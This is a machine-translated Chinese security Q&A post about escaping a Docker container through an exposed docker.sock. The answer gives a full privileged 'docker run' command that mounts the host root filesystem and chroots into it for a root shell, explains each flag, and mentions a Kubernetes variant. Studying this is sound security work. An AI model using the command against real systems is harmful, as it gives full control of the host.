如何在 Docker 容器中通过 docker.sock 直接在主机系统上执行命令?

信息安全 云计算 特权升级 码头工人 容器
2021-08-19 19:11:56

我一直在研究 Docker 安全性并研究从容器逃逸到主机的方法。

假设 Docker sock ( docker.sock) 被挂载到容器 at /var/run/docker.sock,以便 Docker 客户端 ( docker) 可以向 Docker 守护进程 ( ) 发送命令dockerd

要在主机上执行命令,我可以运行另一个容器并挂载/etc/到它(读写)以安排 CRON 作业;是否可以安装/etc/到当前容器中?

还有哪些其他方法可以通过在主机上执行命令docker.sock

1个回答

我发现使用暴露的 Docker 套接字在底层主机上执行命令的最佳方式是 Ian Miell有史以来最无意义的 docker 命令

该命令如下所示:-

docker run -ti 
    --privileged 
    --net=host --pid=host --ipc=host 
    --volume /:/host 
    busybox 
    chroot /host

并且本质上会将您直接放入底层主机上的完整根外壳中。

分解命令

--privileged 将删除默认的 Docker 安全层,例如 Apparmor 和功能限制。

--net=host --pid=host --ipc=host 在主机的命名空间中运行进程,而不是在包含进程的一组单独的命名空间中运行。

--volume /:/host将主机根文件系统挂载/host到容器内

然后

chroot /host作为命令将根更改为该/host目录。

如果您通过 Kubernetes 运行,您可以使用最无意义的 Kubernetes 命令,它可以有效地做同样的事情(假设集群没有限制性 Pod 安全策略)。